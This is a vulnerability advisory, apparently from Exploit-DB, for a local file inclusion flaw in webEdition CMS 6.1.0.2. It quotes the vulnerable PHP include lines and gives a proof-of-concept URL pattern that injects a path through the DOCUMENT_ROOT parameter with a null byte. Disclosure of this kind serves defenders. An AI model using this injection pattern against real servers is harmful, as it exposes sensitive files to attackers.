webEdition CMS (DOCUMENT_ROOT) Local File Inclusion vulnerability

vendor:

webEdition CMS

by:

eidelweiss

7.5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: webEdition CMS

Affected Version From: 6.1.0.2

Affected Version To: 6.1.0.2

Patch Exists: NO

Related CWE:

CPE: a:webedition:webedition:6.1.0.2

Metasploit:

Other Scripts:

Platforms Tested:

2011

webEdition CMS (DOCUMENT_ROOT) Local File Inclusion vulnerability

This vulnerability allows an attacker to include local files on the server by manipulating the 'index.php' file. By providing a crafted input, an attacker can traverse the file system and access sensitive files.

Mitigation:

Upgrade to a patched version of webEdition CMS.

Source

Exploit-DB raw data:

===================================================================
    webEdition CMS (DOCUMENT_ROOT) Local File Inclusion vulnerability
===================================================================
   
Software:   webEdition CMS (6.1.0.2)
Vendor:     http://www.webedition.org
Vuln Type:  Local File Inclusion
Download link:  http://sourceforge.net/projects/webedition/files/webEdition/6.1.0.2/webEdition_6102.tar.gz/download
Author:     eidelweiss
contact:    eidelweiss[at]windowslive[dot]com
Home:       www.eidelweiss.info

Gratz: wellcome back YOGYACARDERLINK.web.id !!!
   
References: http://eidelweiss-advisories.blogspot.com/2011/03/webedition-cms-version-6102.html
   
   
===================================================================
 
    description:
webEdition Version 6.1.0.2

webEdition is a web content management system licensed under the GPL
For system requirements,
installation and upgrade details, see the files INSTALL and the informations available on our website

 http://www.webedition.org

see webEdition/license folder for license informations
see INSTALL for quick installation instructions.
----------------------------------
    Vulnerability code:
 
index.php

/*****************************************************************************
 * INITIALIZATION
 *****************************************************************************/

include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/conf/we_conf.inc.php");
require_once($_SERVER['DOCUMENT_ROOT'] . "/webEdition/we/include/we_message_reporting/we_message_reporting.class.php");

/*****************************************************************************
 * INCLUDES
 *****************************************************************************/

include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_html_tools.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_browser_check.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_classes/html/we_button.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_classes/html/we_htmlElement.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_classes/html/we_htmlTable.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_language/".$GLOBALS["WE_LANGUAGE"]."/start.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_language/".$GLOBALS["WE_LANGUAGE"]."/alert.inc.php");
include_once($_SERVER["DOCUMENT_ROOT"]."/webEdition/we/include/we_language/".$GLOBALS["WE_LANGUAGE"]."/global.inc.php");

$ignore_browser = isset($_REQUEST["ignore_browser"]) &&  ($_REQUEST["ignore_browser"] === "true");

/*****************************************************************************

 
----------------------------------
 
    exploit & p0c
   
[!] http://host/webEdition/index.php?DOCUMENT_ROOT= [lfi]%00
    or
[!] http://host/path_to_webEdition/index.php?DOCUMENT_ROOT= [lfi]%00
 
Nb: seems Another vulnerability also available like LFD , XSS , RFI maybe and etc , but i didnt check and test yet.
   
====================================================================
   
    Nothing Impossible In This World Even Nobody`s Perfect
   
===================================================================
   
==========================| -=[ E0F ]=- |==========================